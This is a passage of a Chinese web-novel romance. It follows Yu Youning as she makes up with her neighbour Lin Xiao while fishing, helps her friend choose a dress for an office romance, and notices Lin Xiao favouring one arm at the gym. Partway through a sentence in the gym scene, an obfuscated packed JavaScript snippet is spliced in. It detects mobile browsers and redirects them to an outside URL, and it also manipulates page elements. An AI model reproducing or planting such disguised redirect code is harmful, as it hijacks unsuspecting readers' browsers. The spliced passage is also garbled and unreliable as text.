“偶尔。”他捏了一小撮鱼食,收回钓钩,换上新的饵料:“有时候和朋友出来玩,打发打发时间。” “这种风和日丽的下午,在水边上发发呆,放空一下,也挺惬意的。” 林骁侧目看她。 于宥宁眨眨眼:“怎么了?” 他看着她,表情认真得有点好笑:“惬意是惬意,但我没在发呆,我上了一竿。” 于宥宁愣了一下,然后反应过来,她刚刚那句话就像是在质疑他的实力,哪个钓鱼佬能忍? 她正要解释什么,鱼漂忽然往下一沉。 “动了动了!”于宥宁指着水面:“快收竿!” 林骁眼疾手快,双手握住鱼竿,往上一提,鱼竿瞬间弯成一道弓,鱼线绷得笔直,水面上哗啦哗啦炸开水花。 “不小。”他说,语气依然平静,但手上的动作一点不慢。 他一手握竿,一手开始收线,鱼在水里拼命挣扎,一会儿往左冲,一会儿往右窜,鱼线被拉得滋滋响。 “你让它跑一会儿,”旁边的大爷喊:“遛一遛它,遛累了就好收了!” 林骁“嗯”了一声,顺着鱼的力道慢慢收线,鱼往前冲,他就放一点线;鱼停下来,他就快速收几圈。 于宥宁在旁边看得紧张,大气都不敢出。 鱼在水里折腾了足足五分钟,终于渐渐没了力气,林骁趁机快速收线,把鱼拉到岸边,往回一拉,就伸手捏住了鱼。 鱼在他手里拼命甩尾巴,水滴甩得到处都是,他面不改色,取下鱼钩,把鱼放进鱼护,然后蹲在水边,就着湖水洗了洗手。 于宥宁看着他这一套行云流水的操作,忍不住“哇”了一声。 “你好厉害。”她由衷地说。 林骁站起身,甩了甩手上的水,脸上没什么表情,但嘴角微微动了一下。 旁边的大爷冲他竖了个大拇指:“小伙子力气不错啊。” 林骁没接话,只是淡淡笑了一下。 两个人又重新坐下,她看着林骁重新捏饵,犹豫了一下,还是开口:“那个,林骁。” “嗯?”他侧过脸看她。 “就是……之前我们可能有一些误会,主要可能是我想太多了,希望你别介意。” 林骁看着她,没说话。 “你不用刻意避开我。”于宥宁迎着他的目光,语气认真:“我们住在楼上楼下,工作地点也近,碰到了很正常,我是个藏不住事儿的人,所以有事情还是要讲开的好。” 林骁垂下眼,手里捏着鱼饵。 他知道,自己的目的达到了,他从此可以正大光明的接触她了。 “能够理解,我没有介意,只是怕你不自在,”他抬起头,看着她:“不过,我们的认识的确不是因为林屿。” “嗯,我现在知道了。”于宥宁松了口气,她就知道,林骁不是那种小心眼的人。 她笑了笑:“那咱们就当朋友相处?” 林骁看着她,夕阳落在她的脸上,眼睛亮亮的。 他没有回答,而是从旁边拿起一瓶没开封的饮料,拧开盖子,递给她。 于宥宁接过,喝了一口。 17. 第 17 章 那天结束后,于宥宁没有回家,而是跟叶可欣去了她家。 因为顾原表白了。 “他这直球打的,”于宥宁盘腿坐在叶可欣的床上,手里攥着一包薯片:“猝不及防啊!”她甚至开始怀疑,是不是自己那句“女孩子比较喜欢打直球”被林骁转达给了顾原。 叶可欣从衣柜里探出头:“我也没想到,太突然了。” “然后呢?”于宥宁往嘴里塞了一片薯片:“你答应了?” “没呢。”叶可欣又缩回衣柜里,声音闷闷的:“我说要考虑一下。” “考虑什么呀?你不是挺喜欢他的嘛,顾总长的好,性格好,还会做饭,应该蛮适合谈恋爱。” 叶可欣抱着一件连衣裙出来,对着镜子比了比,又摇了摇头,扔到床上:“我怕影响工作。” 于宥宁:“你们单位有禁止员工之间恋爱吗?” “那倒没有,没你们单位那么变态。” “那你是担心什么?” 叶可欣放下衣服,坐到床边叹了口气。 “我工作跟他走得最近,相当于半个助理。”她顿了顿:“如果公开在一起,别人会怎么想?项目拿下了,是因为他照顾我;方案通过了,是因为他偏袒我;升职加薪了,是因为他给我开后门……” 于宥宁放下薯片,认真看着她:“你怕别人把你的实力,当成是他给你行方便?还是怕同事在背后非议你们?” “都有吧,我好不容易才让他认可我的能力,不想因为这些乱七八糟的事,把之前的努力全毁了。” 于宥宁想了想,说:“可你有没有想过,两个优秀的人每天待在一起,日久生情,这不是很正常的事吗?谁规定上下级就不能谈恋爱了?只要你们工作上拎得清,该干嘛干嘛,别人爱说什么让他们说去呗。” 叶可欣侧过脸看她。 “再说了,”于宥宁把薯片袋子递过去:“你什么时候在乎过别人的看法?咱们欣欣可是那种‘老娘爱谁谁’的人。” 叶可欣被她逗笑了,从袋子里拿了一片薯片:“我挺喜欢他的,恋爱嘛,可以谈,但是得低调。” “地下恋呀?”于宥宁眼睛亮了。 “对。” “那他答应吗?” “我们约好了,明天午饭的时候,我给他答复。” 于宥宁笑出声:“哈哈哈哈,提前恭喜你啊!” “恭喜什么呀,还没成呢。”叶可欣瞪她:“万一他不同意地下恋呢?” “为什么不?我看啊,你这位顾总可不像你说的那么古板,人家比你有想法的多,能策划出春游这出戏的人,脑子好使着呢。” 叶可欣想了想,好像是这个道理:“这件怎么样?”她从衣柜里又抽出一件,举起来。 于宥宁看了一眼:“太正式,像去开会。” 叶可欣扔到一边,又拿一件:“这件呢?” “太随便,像去买菜。” “这件?” “颜色太暗。” “这件?” “领口太低。” 叶可欣瞪她:“你是来帮我挑衣服的,还是来打击我的?” “当然是来挑衣服的。”于宥宁跳下床,走到衣柜前,自己动手翻,翻了半天,她从角落里扯出一件米白色的连衣裙,举起来看了看,又看了看叶可欣:“就这件。” 叶可欣接过,对着镜子比了比。 米白色,及膝,收腰,领口有个小小的蝴蝶结,端庄又不失温柔,正式又不失俏皮。 “怎么样?”她问。 于宥宁双手抱胸,上下打量了一番,点点头:“就这个,保准迷死他。”她顿了顿,忽然激动起来:“哈哈哈哈我好激动啊!” “我恋爱,你激动个毛线啊?”叶可欣哭笑不得。 “毕竟是你的初恋嘛!”于宥宁往床上一倒,滚来滚去:“我家欣欣终于要谈恋爱了!妈妈好欣慰啊!” “滚。” 两个人笑成一团。 隔天,叶可欣去赴约,于宥宁一觉睡到自然醒,然后回家换了身运动服,拎起健身包去补周六没练成的健身,才出门就碰上了林骁。 他也是一身运动服,手里拎着个运动水壶,显然也是去健身房的。 于宥宁主动打了个招呼:“去健身吗?” “你也去?” “对呀,把昨天没练的补上。”说着,她从包里抽出一瓶椰子水,递给他:“喏。” 林骁看了一眼:“我带水了。” “这个是纯椰子水,很健康的。”于宥宁把瓶子往他手里一塞:“也很好喝,你尝尝。” 林骁接过,低头看了看那瓶包装清新的饮料,嘴角微微动了一下:“行,谢谢。” 两个人肩并肩往健身房走。 老城区的街道狭窄,人行道被电瓶车、自行车占得七七八八,两个人只能走在路边,林骁很自然地绕到外侧,让她走在靠里的位置,过马路的时候,他也会快半步,侧着身替她看着来往的车辆。 这个习惯,和林屿很像。 于宥宁余光瞥了他一眼。 有那么一瞬间,她有些恍惚,总觉得是不是林屿回来了。 他们身高差不多,身材也相近,只是林骁不像林屿那么爱笑,也不像林屿总有说不完的话,那个话痨,当初谈恋爱的时候,能从早安聊到晚安,微信消息一天能刷上百条。 林骁话不多,但也不是那种让人尴尬的沉默,他就那么走在她旁边,偶尔看一眼路况,偶尔侧头确认她跟上了,不刻意找话题,也不让人觉得被冷落。 有一种……润物细无声的感觉。 意识到自己又在想这些,她赶紧摇了摇脑袋,脑子里不自觉浮现出林骁昨天的话:我们的认识不是因为林屿。 进了健身房,两个人各自去热身,于宥宁选了台跑步机,慢跑了半小时,她今天打算练臀。 她力气小,用的重量不大,一组一组做着深蹲、髋外展、哑铃弓箭步,组间休息的时候,她撑着膝盖喘气,目光无意间扫过镜子,林骁在她斜后方的力量区,正在练手臂。 可今天他却有点奇怪,他站在哑铃架旁边,左手举着哑铃,一下一下做着弯举,右手垂在身侧,偶尔抬起来试一下,但刚举起来就放下了。 她看了一眼,没多想,继续下一组,等她又做完一组,抬头看镜子,他还是只练左臂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533658|203495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于宥宁不是故意观察他,只是组间休息的时候,目光总会不经意扫过那个方向,三组下来,他左臂练了三次,右臂一次都没练。 她收回视线,继续练自己的。 练完正好十二点,两个人一起往回走,路上依旧没说什么话,他还是走在外侧,碰到有电瓶车经过,会虚虚地护她一下,手臂在她身后挡一挡,不碰到她,但刚好把她和车流隔开。 于宥宁低着头走,心里想着刚才在健身房看到的那一幕,他右臂怎么了?是受伤了吗? 她犹豫了一下,想问,又觉得问不出口,不好显得自己太关注他。 算了。 走到单元门口,林骁停下脚步:“到了。” 于宥宁抬头,对上他的视线。 “嗯,到了。”她点点头:“那……再见。” “再见。” 她上楼,他关门,各自回家。 吃过中饭,于宥宁正打算躺一会儿,忽然感觉小腹一沉,去卫生间一看,果然是来例假了,她叹了口气,换上卫生用品,给自己冲了一杯红糖水,窝进沙发里刷手机,翻着翻着,就刷到了江莹发的春游Vlog。 剪得还挺不错,风景、美食、大家的笑脸,配上轻快的音乐,看着就让人心情好。 评论区里不少人问: 【那个黑色西服的小哥哥是谁?好帅啊!】 【求那个高个子男生的联系方式!】 【是素人还是博主?求介绍!】 于宥宁看着这些评论,嘴角不自觉地弯了弯,她盯着屏幕,鬼使神差地退出去,打开了微信。 春游群里,九个人,头像五花八门,她一个一个看过去,猜测哪个是林骁。 老曹的头像是他们一家三口的合影,张超的头像是他和太太的情头,顾原的头像是他自己的侧影,江莹的头像是自拍,叶可欣的头像是琳娜贝尔,最后只剩下一个一棵树的头像。 就普普通通的一棵树,没什么特别的,就像她爸用的那种,应该就是他了。 她盯着那个头像看了几秒,忽然想起林屿,林屿的微信头像是一条哈士奇,吐着舌头,一脸傻样,当初他们谈恋爱的时候,林屿特意找人画了一组情头,他的是一只哈士奇,她的是一只博美,分手以后,她就把头像换了。 于宥宁放下手机,可脑子里止不住地响起叶可欣那句话:“长在了你的审美点上。” 她望着天花板,发了一会儿呆,不可否认,林骁和林屿很像,两个人都长在了自己的审美上。 今天是怎么回事?总是忍不住想起他们俩?还拿他们俩做对比! 难道自己还是忘不了林屿? 不不不,他们已经分手半年了,这半年里,林屿一次都没联系过自己,她才不会惦记一个不联系自己的人。 她使劲儿摇摇头,把那些乱七八糟的想法晃出去,一定是因为来例假了,激素波动,才会想这些有的没的。 对,就是这样。 她翻了个身,把脸埋进枕头里。 手机弹出提示音,是叶可欣发来的:“我答应啦。” 总算是有件高兴事,于宥宁来了兴致,和她聊起天来。